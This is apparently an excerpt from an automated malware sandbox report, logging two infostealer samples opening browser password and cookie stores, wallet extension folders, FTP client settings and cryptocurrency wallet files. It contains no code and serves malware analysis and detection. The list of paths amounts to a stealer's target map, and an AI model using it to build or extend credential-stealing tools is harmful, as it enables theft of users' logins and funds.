Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
